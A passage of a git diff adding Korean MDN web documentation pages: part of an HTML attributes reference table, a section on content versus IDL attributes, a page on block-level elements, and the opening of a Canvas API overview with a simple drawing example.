+ <td>Indicates that the image is part of a server-side image map.</td>
+ </tr>
+ <tr>
+ <td><code>itemprop</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>keytype</code></td>
+ <td>{{ HTMLElement("keygen") }}</td>
+ <td>Specifies the type of key generated.</td>
+ </tr>
+ <tr>
+ <td><code>kind</code></td>
+ <td>{{ HTMLElement("track") }}</td>
+ <td>Specifies the kind of text track.</td>
+ </tr>
+ <tr>
+ <td><code>label</code></td>
+ <td>{{ HTMLElement("track") }}</td>
+ <td>Specifies a user-readable title of the text track.</td>
+ </tr>
+ <tr>
+ <td><code>lang</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>요소에서 사용된 언어를 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>language</code></td>
+ <td>{{ HTMLElement("script") }}</td>
+ <td>요소에서 사용된 스크립트 언어를 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>list</code></td>
+ <td>{{ HTMLElement("input") }}</td>
+ <td>Identifies a list of pre-defined options to suggest to the user.</td>
+ </tr>
+ <tr>
+ <td><code>loading</code> {{experimental_inline}}</td>
+ <td>{{ HTMLElement("img") }}, {{ HTMLElement("iframe") }}</td>
+ <td>Indicates if the element should be loaded lazily (<code>loading="lazy"</code>) or loaded immediately (<code>loading="eager"</code>).</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/list">list</a></code></td>
+ <td>{{ HTMLElement("input") }}</td>
+ <td>Identifies a list of pre-defined options to suggest to the user.</td>
+ </tr>
+ <tr>
+ <td><code>loop</code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}</td>
+ <td>미디어가 재생을 완료했을때 다시 재생을 시작해야할지를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>low</code></td>
+ <td>{{ HTMLElement("meter") }}</td>
+ <td>Indicates the upper bound of the lower range.</td>
+ </tr>
+ <tr>
+ <td><code>manifest</code></td>
+ <td>{{ HTMLElement("html") }}</td>
+ <td>문서의 캐시 매니페스트의 URL을 가리킵니다.</td>
+ </tr>
+ <tr>
+ <td><code>max</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+ <td>허용되는 최대 값을 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>maxlength</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+ <td>요소에 허용되는 문자의 최대 길이를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/minlength">minlength</a></code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+ <td>Defines the minimum number of characters allowed in the element.</td>
+ </tr>
+ <tr>
+ <td><code>media</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}</td>
+ <td>Specifies a hint of the media for which the linked resource was designed.</td>
+ </tr>
+ <tr>
+ <td><code>method</code></td>
+ <td>{{ HTMLElement("form") }}</td>
+ <td>폼을 제출할때 사용할 HTTP 메소드를 정의함. GET(기본값) 또는 POST 가 될수 있음.</td>
+ </tr>
+ <tr>
+ <td><code>min</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+ <td>허용되는 최소 값을 나타냄.</td>
+ </tr>
+ <tr>
+ <td><code>multiple</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+ <td>Indicates whether multiple values can be entered in an input of the type <code>email</code> or <code>file</code>.</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/muted">muted</a></code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+ <td>Indicates whether the audio will be initially silenced on page load.</td>
+ </tr>
+ <tr>
+ <td><code>name</code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}</td>
+ <td>요소의 이름. For example used by the server to identify the fields in form submits.</td>
+ </tr>
+ <tr>
+ <td><code>novalidate</code></td>
+ <td>{{ HTMLElement("form") }}</td>
+ <td>This attribute indicates that the form shouldn't be validated when submitted.</td>
+ </tr>
+ <tr>
+ <td><code>open</code></td>
+ <td>{{ HTMLElement("details") }}</td>
+ <td>Indicates whether the details will be shown on page load.</td>
+ </tr>
+ <tr>
+ <td><code>optimum</code></td>
+ <td>{{ HTMLElement("meter") }}</td>
+ <td>Indicates the optimal numeric value.</td>
+ </tr>
+ <tr>
+ <td><code>pattern</code></td>
+ <td>{{ HTMLElement("input") }}</td>
+ <td>Defines a regular expression which the element's value will be validated against.</td>
+ </tr>
+ <tr>
+ <td><code>ping</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>placeholder</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+ <td>필드에 무엇이 들어갈수 있는지 사용자에게 힌트를 제공합니다.</td>
+ </tr>
+ <tr>
+ <td><code>poster</code></td>
+ <td>{{ HTMLElement("video") }}</td>
+ <td>A URL indicating a poster frame to show until the user plays or seeks.</td>
+ </tr>
+ <tr>
+ <td><code>preload</code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+ <td>전체,부분,또는 아무런 리소스가 미리 로드되어야하는지를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>radiogroup</code></td>
+ <td>{{ HTMLElement("command") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>readonly</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+ <td>요소가 수정될 수 있는지를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>rel</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+ <td>Specifies the relationship of the target object to the link object.</td>
+ </tr>
+ <tr>
+ <td><code>required</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+ <td>이 요소가 채워져야 하는지를 나타냅니다.</td>
+ </tr>
+ <tr>
+ <td><code>reversed</code></td>
+ <td>{{ HTMLElement("ol") }}</td>
+ <td>Indicates whether the list should be displayed in a descending order instead of a ascending.</td>
+ </tr>
+ <tr>
+ <td><code>rows</code></td>
+ <td>{{ HTMLElement("textarea") }}</td>
+ <td>textarea의 줄 개수를 정의합니다.</td>
+ </tr>
+ <tr>
+ <td><code>rowspan</code></td>
+ <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+ <td>Defines the number of rows a table cell should span over.</td>
+ </tr>
+ <tr>
+ <td><code>sandbox</code></td>
+ <td>{{ HTMLElement("iframe") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>scope</code></td>
+ <td>{{ HTMLElement("th") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>scoped</code></td>
+ <td>{{ HTMLElement("style") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>selected</code></td>
+ <td>{{ HTMLElement("option") }}</td>
+ <td>Defines a value which will be selected on page load.</td>
+ </tr>
+ <tr>
+ <td><code>shape</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>size</code></td>
+ <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+ <td>Defines the width of the element (in pixels). If the element's <code>type</code> attribute is <code>text</code> or <code>password</code> then it's the number of characters.</td>
+ </tr>
+ <tr>
+ <td><code>sizes</code></td>
+ <td>{{ HTMLElement("link") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>slot</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Assigns a slot in a shadow DOM shadow tree to an element.</td>
+ </tr>
+ <tr>
+ <td><code>span</code></td>
+ <td>{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/spellcheck">spellcheck</a></code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Indicates whether spell checking is allowed for the element.</td>
+ </tr>
+ <tr>
+ <td><code>src</code></td>
+ <td>{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}</td>
+ <td>내장 컨텐츠의 URL</td>
+ </tr>
+ <tr>
+ <td><code>srcdoc</code></td>
+ <td>{{ HTMLElement("iframe") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>srclang</code></td>
+ <td>{{ HTMLElement("track") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>srcset</code></td>
+ <td>{{ HTMLElement("img") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>start</code></td>
+ <td>{{ HTMLElement("ol") }}</td>
+ <td>Defines the first number if other than 1.</td>
+ </tr>
+ <tr>
+ <td><code>step</code></td>
+ <td>{{ HTMLElement("input") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>style</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>이전 스타일을 오버라이드할 CSS 스타일을 정의함.</td>
+ </tr>
+ <tr>
+ <td><code>summary</code></td>
+ <td>{{ HTMLElement("table") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>tabindex</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Overrides the browser's default tab order and follows the one specified instead.</td>
+ </tr>
+ <tr>
+ <td><code>target</code></td>
+ <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>title</code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>요소 위에 호버링했을떄 표시될 툴팁의 텍스트</td>
+ </tr>
+ <tr>
+ <td><code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Attributes/translate">translate</a></code></td>
+ <td><a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></td>
+ <td>Specify whether an element’s attribute values and the values of its <code><a href="https://dom.spec.whatwg.org/#text" id="ref-for-text①⑦">Text</a></code> node children are to be translated when the page is localized, or whether to leave them unchanged.</td>
+ </tr>
+ <tr>
+ <td><code>type</code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}</td>
+ <td>요소의 타입을 정의함</td>
+ </tr>
+ <tr>
+ <td><code>usemap</code></td>
+ <td>{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>value</code></td>
+ <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}</td>
+ <td>페이지가 로드된뒤 요소에 표시될 기본값을 지정합니다.</td>
+ </tr>
+ <tr>
+ <td><code>width</code></td>
+ <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+ <td>Note: In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("width") }} property should be used instead. In other cases, such as {{ HTMLElement("canvas") }}, the width must be specified with this attribute.</td>
+ </tr>
+ <tr>
+ <td><code>wrap</code></td>
+ <td>{{ HTMLElement("textarea") }}</td>
+ <td>Indicates whether the text should be wrapped.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Content_versus_IDL_attributes">Content versus IDL attributes</h2>
+
+<p>In HTML, most attributes have two faces: the <strong>content attribute</strong> and the <strong>IDL attribute</strong>.</p>
+
+<p>The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via {{domxref("element.setAttribute()")}} or {{domxref("element.getAttribute()")}}. The content attribute is always a string even when the expected value should be an integer. For example, to set an {{HTMLElement("input")}} element's <code>maxlength</code> to 42 using the content attribute, you have to call <code>setAttribute("maxlength", "42")</code> on that element.</p>
+
+<p>The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like <code class="moz-txt-verticalline">element.foo</code>. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes.</p>
+
+<p>Most of the time, IDL attributes will return their values as they are really used. For example, the default <code>type</code> for {{HTMLElement("input")}} elements is "text", so if you set <code>input.type="foobar"</code>, the <code>&lt;input&gt;</code> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the <code>type</code> IDL attribute will return the string "text".</p>
+
+<p>IDL attributes are not always strings; for example, <code>input.maxlength</code> is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so <code>input.maxlength</code> is always going to return a number and when you set <code>input.maxlength</code> ,it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion.</p>
+
+<p>IDL attributes can <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">reflect other types</a> such as unsigned long, URLs, booleans, etc. Unfortunately, there are no clear rules and the way IDL attributes behave in conjunction with their corresponding content attributes depends on the attribute. Most of the time, it will follow <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">the rules laid out in the specification</a>, but sometimes it doesn't. HTML specifications try to make this as developer-friendly as possible, but for various reasons (mostly historical), some attributes  behave oddly (<code>select.size</code>, for example) and you should read the specifications to understand how exactly they behave.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/HTML/Element" title="/en-US/docs/HTML/Element">HTML 요소</a></li>
+</ul>
diff --git a/files/ko/web/html/block-level_elements/index.html b/files/ko/web/html/block-level_elements/index.html
new file mode 100644
index 0000000000..637ace1c8c
--- /dev/null
+++ b/files/ko/web/html/block-level_elements/index.html
@@ -0,0 +1,127 @@
+---
+title: 블록 레벨 요소
+slug: Web/HTML/Block-level_elements
+tags:
+ - Beginner
+ - Development
+ - Guide
+ - HTML
+ - HTML5
+ - Web
+translation_of: Web/HTML/Block-level_elements
+---
+<p><strong>HTML</strong>(Hypertext Markup Language)의 요소는 역사적으로 "블록 레벨" 요소와 <a href="/ko/docs/Web/HTML/Inline_elements">"인라인" 요소</a>로 분류됐습니다. 기본적으로 블록 레벨 요소는 부모 요소의 전체 공간을 차지하여 "블록"을 만듭니다. 이 글에서 자세한 설명을 읽을 수 있습니다.</p>
+
+<p>{{glossary("browser", "브라우저")}}는 보통 블록 레벨 요소의 앞과 뒤를 개행해서 그립니다. 상자를 쌓는 것 처럼 생각할 수 있습니다.</p>
+
+<div class="blockIndicator note">
+<p>블록 레벨 요소는 언제나 새로운 줄에서 시작하고, 좌우 양쪽으로 최대한 늘어나 가능한 모든 너비를 차지합니다.</p>
+</div>
+
+<p>다음 예제가 블록 레벨 요소의 영향을 보여줍니다.</p>
+
+<h2 id="블록_레벨_요소">블록 레벨 요소</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;이 문단은 블록 레벨 요소입니다. 부모 요소와 구분할 수 있도록 배경 색을 입혔습니다.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p { background-color: #8ABB55; }</pre>
+
+<p>{{EmbedLiveSample('블록_레벨_요소')}}</p>
+
+<h2 id="사용처">사용처</h2>
+
+<ul>
+ <li>블록 레벨 요소는 {{HTMLElement("body")}} 요소 안에서만 나타날 수 있습니다.</li>
+</ul>
+
+<h2 id="블록_레벨_vs._인라인">블록 레벨 vs. 인라인</h2>
+
+<p>블록 레벨 요소와 인라인 요소는 몇 가지 중요한 차이점을 가지고 있습니다.</p>
+
+<dl>
+ <dt>콘텐츠 모델</dt>
+ <dd>일반적으로 블록 레벨 요소는 인라인 요소와 (때때로) 다른 블록 레벨 요소를 포함할 수 있습니다. 이런 고유한 구조적 차이점으로 인해 블록 레벨 요소는 인라인 요소보다 더 "큰" 구조를 생성할 수 있습니다.</dd>
+ <dt>기본 서식</dt>
+ <dd>기본적으로 블록 레벨 요소는 새로운 줄에서 시작하지만, 인라인 요소는 줄의 어느 곳에서나 시작할 수 있습니다.</dd>
+</dl>
+
+<p>블록 레벨과 인라인 요소의 분류는 HTML 명세 4.01까지 사용됐습니다. 이런 이진적 구분은 HTML5부터 보다 복잡한 <a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a> 집합으로 대체됐습니다. "인라인" 카테고리는 <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>와 적당히 짝지을 수 있지만 "블록 레벨" 카테고리는 어느 HTML5 콘텐츠 카테고리와도 정확히 일치하지 않습니다. 그러나 블록 레벨과 인라인 요소를 조합하면 <a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>에 대응합니다. <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a> 등 추가 카테고리도 존재합니다.</p>
+
+<h2 id="요소_목록">요소 목록</h2>
+
+<p>다음은 HTML 블록 레벨 요소의 전체 목록입니다. (사실 HTML5의 새로운 요소를 설명할 때, "블록 레벨"이라는 용어는 정의되지 않습니다.)</p>
+
+<div class="threecolumns">
+<dl>
+ <dt>{{ HTMLElement("address") }}</dt>
+ <dd>연락처 정보.</dd>
+ <dt>{{ HTMLElement("article") }}</dt>
+ <dd>단락 콘텐츠.</dd>
+ <dt>{{ HTMLElement("aside") }}</dt>
+ <dd>부가 콘텐츠.</dd>
+ <dt>{{ HTMLElement("blockquote") }}</dt>
+ <dd>긴("블록")  인용구.</dd>
+ <dt>{{HTMLElement("details")}}</dt>
+ <dd>상세 정보 위젯.</dd>
+ <dt>{{HTMLElement("dialog")}}</dt>
+ <dd>대화상자.</dd>
+ <dt>{{ HTMLElement("dd") }}</dt>
+ <dd>설명 목록의 정의 설명.</dd>
+ <dt>{{ HTMLElement("div") }}</dt>
+ <dd>문서의 분할.</dd>
+ <dt>{{ HTMLElement("dl") }}</dt>
+ <dd>설명 목록.</dd>
+ <dt>{{HTMLElement("dt")}}</dt>
+ <dd>설명 목록의 정의.</dd>
+ <dt>{{ HTMLElement("fieldset") }}</dt>
+ <dd>필드 집합의 라벨.</dd>
+ <dt>{{ HTMLElement("figcaption") }}</dt>
+ <dd>그림 설명.</dd>
+ <dt>{{ HTMLElement("figure") }}</dt>
+ <dd>미디어 콘텐츠 그룹과 설명. ({{ HTMLElement("figcaption") }}을 참고하세요)</dd>
+ <dt>{{ HTMLElement("footer") }}</dt>
+ <dd>페이지나 구역의 푸터.</dd>
+ <dt>{{ HTMLElement("form") }}</dt>
+ <dd>입력 폼.</dd>
+ <dt>{{ HTMLElement("h1") }}, {{ HTMLElement("h2") }}, {{ HTMLElement("h3") }}, {{ HTMLElement("h4") }}, {{ HTMLElement("h5") }}, {{ HTMLElement("h6") }}</dt>
+ <dd>1~6단계 제목.</dd>
+ <dt>{{ HTMLElement("header") }}</dt>
+ <dd>페이지나 구역의 헤더.</dd>
+ <dt>{{ HTMLElement("hgroup") }}</dt>
+ <dd>헤더 정보 그룹.</dd>
+ <dt>{{ HTMLElement("hr") }}</dt>
+ <dd>수평선(구분선).</dd>
+ <dt>{{HTMLElement("li")}}</dt>
+ <dd>목록의 항목.</dd>
+ <dt>{{HTMLElement("main")}}</dt>
+ <dd>문서에서 하나 뿐인 중심 콘텐츠.</dd>
+ <dt>{{HTMLElement("nav")}}</dt>
+ <dd>탐색 링크를 포함.</dd>
+ <dt>{{ HTMLElement("ol") }}</dt>
+ <dd>정렬된 목록.</dd>
+ <dt>{{ HTMLElement("p") }}</dt>
+ <dd>문단.</dd>
+ <dt>{{ HTMLElement("pre") }}</dt>
+ <dd>미리 서식 적용한 글.</dd>
+ <dt>{{ HTMLElement("section") }}</dt>
+ <dd>웹 페이지의 구역.</dd>
+ <dt>{{ HTMLElement("table") }}</dt>
+ <dd>표.</dd>
+ <dt>{{ HTMLElement("ul") }}</dt>
+ <dd>정렬되지 않은 목록.</dd>
+</dl>
+</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/Inline_elements">인라인 요소</a></li>
+ <li>{{cssxref("display")}}</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+</ul>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/HTML/")}}</div>
diff --git a/files/ko/web/html/canvas/index.html b/files/ko/web/html/canvas/index.html
new file mode 100644
index 0000000000..bbe466e58d
--- /dev/null
+++ b/files/ko/web/html/canvas/index.html
@@ -0,0 +1,135 @@
+---
+title: Canvas API
+slug: Web/HTML/Canvas
+tags:
+ - API
+ - Canvas
+ - JavaScript
+ - 개요
+ - 레퍼런스
+translation_of: Web/API/Canvas_API
+---
+<div>{{CanvasSidebar}}</div>
+
+<p><strong>Canvas API</strong>는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript">JavaScript</a>와 <a href="https://developer.mozilla.org/ko/docs/Web/HTML">HTML </a>{{HtmlElement("canvas")}} 엘리먼트를 통해 그래픽을 그리기위한 수단을 제공합니다. 무엇보다도 애니메이션, 게임 그래픽, 데이터 시각화, 사진 조작 및 실시간 비디오 처리를 위해 사용됩니다.</p>
+
+<p>Canvas API는 주로 2D 그래픽에 중점을 두고 있습니다. <a href="https://developer.mozilla.org/ko/docs/Web/WebGL">WebGL API</a> 또한 <code>&lt;canvas&gt;</code> 엘리먼트를 사용하며, 하드웨어 가속 2D 및 3D 그래픽을 그립니다.</p>
+
+<h2 id="기본_예시">기본 예시</h2>
+
+<p>canvas에 초록색 사각형을 그리는 간단한 예시입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>{{domxref("Document.getElementById()")}} 메소드는 HTML <code>&lt;canvas&gt;</code> 엘리먼트에 대한 참조를 얻습니다. 그 다음, {{domxref("HTMLCanvasElement.getContext()")}} 메소드는 엘리먼트의 컨텍스트(렌더링될 그리기의 대상)를 얻습니다.</p>
+
+<p>실제 그리기는 {{domxref("CanvasRenderingContext2D")}} 인터페이스를 사용해 수행됩니다. {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} 프로퍼티는 사각형을 초록색으로 만듭니다. {{domxref("CanvasRenderingContext2D.fillRect()", "fillRect()")}} 메소드는 좌측 상단 코너를 (10, 10) 위치에 놓으며, 너비를 150, 높이를 100으로 지정합니다.</p>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 150, 100);
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('기본_예시', 700, 180) }}</p>
+
+<h2 id="레퍼런스">레퍼런스</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasImageSource")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("RenderingContext")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("OffscreenCanvas")}} {{experimental_inline}}</li>
+ <li>{{domxref("Path2D")}} {{experimental_inline}}</li>
+ <li>{{domxref("ImageBitmapRenderingContext")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>노트:</strong> <code>WebGLRenderingContext</code>에 관련된 인터페이스는 <a href="/ko/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a> 하위에 참조되어있습니다.</p>
+</div>
+
+<p>{{domxref("CanvasCaptureMediaStream")}}은 관련된 인터페이스입니다.</p>
+
+<h2 id="가이드_및_튜토리얼">가이드 및 튜토리얼</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/Canvas_API/Tutorial">Canvas 튜토리얼</a></dt>
+ <dd>Canvas API의 기본적인 사용과 고급 기능 모두를 다루는 이해하기 쉬운 튜토리얼.</dd>
+ <dt><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Canvas 깊이 살펴보기</a></dt>
+ <dd>Canvas API 및 WebGL의 실습, 자세한 소개.</dd>
+ <dt><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Canvas 핸드북</a></dt>
+ <dd>Canvas API에 대한 유용한 레퍼런스.</dd>
+ <dt><a href="/ko/docs/Web/API/Canvas_API/A_basic_ray-caster">데모: A basic ray-caster</a></dt>
+ <dd>Canvas를 사용한 ray-tracing 애니메이션 데모.</dd>
+ <dt><a href="/ko/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Canvas를 사용하여 비디오 조작</a></dt>
+ <dd>{{HTMLElement("video")}}와 {{HTMLElement("canvas")}}를 조합하여 실시간으로 비디오 데이터를 조작.</dd>
+</dl>
+
+<h2 id="라이브러리">라이브러리</h2>
+
+<p>Canvas API는 굉장히 강력하지만, 사용하는 것이 항상 간단하지 않습니다. 아래에 나열된 라이브러리들은 캔버스 기반 프로젝트를 더 빠르고 더 쉽게 생성할 수 있게 해줍니다.</p>
+
+<ul>
+ <li><a href="http://www.createjs.com/easeljs">EaselJS</a>는 게임, 생성 예술 및 기타 고도의 그래픽 경험을 쉽게 생성할 수 있게 해주는 오픈소스 캔버스 라이브러리입니다.</li>
+ <li><a href="http://fabricjs.com">Fabric.js</a>는 SVG 파싱 기능을 갖춘 오픈소스 캔버스 라이브러리입니다.</li>
+ <li><a href="https://www.patrick-wied.at/static/heatmapjs/">heatmap.js</a>는 캔버스 기반 데이터 열지도를 생성하기위한 오픈소스 라이브러리입니다.</li>
+ <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a>은 인터렉티브한 데이터 시각화를 생성합니다.</li>
+ <li><a href="https://konvajs.github.io/">Konva.js</a>는 데스크탑 및 모바일 애플리케이션을 위한 2D 캔버스 라이브러리입니다.</li>
+ <li><a href="https://p5js.org/">p5.js</a>는 예술가, 디자이너, 교육자 및 입문자를 위한 캔버스 그리기 기능의 모든 세트를 포함하고 있습니다.</li>
+ <li><a href="http://paperjs.org/">Paper.js</a>는 HTML5 Canvas 위에서 실행되는 오픈소스 벡터 그래픽 스크립팅 프레임워크입니다.</li>
+ <li><a href="https://phaser.io/">Phaser</a>는 Canvas 및 WebGL 기반의 브라우저 게임을 위한 빠르고, 자유롭고, 재미있는 오픈소스 프레임워크입니다.</li>
+ <li><a href="http://processingjs.org">Processing.js</a>는 Processing 시각화 언어의 포트입니다.</li>
+ <li><a href="https://ptsjs.org">Pts.js</a>는 canvas 및 SVG를 사용한 창의적인 코딩 및 시각화를 위한 라이브러리입니다.</li>
+ <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a>는 Canvas를 위한 애니메이션 키 프레임 API입니다.</li>
+ <li><a href="http://scrawl.rikweb.org.uk/">Scrawl-canvas</a>는 2D 캔버스 엘리먼트를 생성하고 조작하기위한 오픈소스 JavaScript 라이브러리입니다.</li>
+ <li><a href="http://zimjs.com">ZIM</a> 프레임워크는 canvas에서의 창의적인 코딩을 위한 편의성, 컴포넌트 및 컨트롤을 제공하는 프레임워크입니다. 접근성 및 다채로운 튜토리얼을 포함합니다.</li>
+</ul>
+
+<div class="blockIndicator note">
